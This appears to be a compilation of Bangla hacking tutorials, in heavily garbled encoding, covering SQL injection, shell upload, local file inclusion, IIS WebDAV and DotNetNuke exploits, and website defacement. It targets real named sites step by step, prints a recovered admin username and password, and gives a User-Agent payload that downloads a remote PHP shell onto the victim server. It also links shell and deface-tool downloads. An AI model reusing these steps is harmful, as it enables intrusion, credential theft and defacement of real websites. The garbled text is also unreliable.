ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 19: Hacking Bangla eBook

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

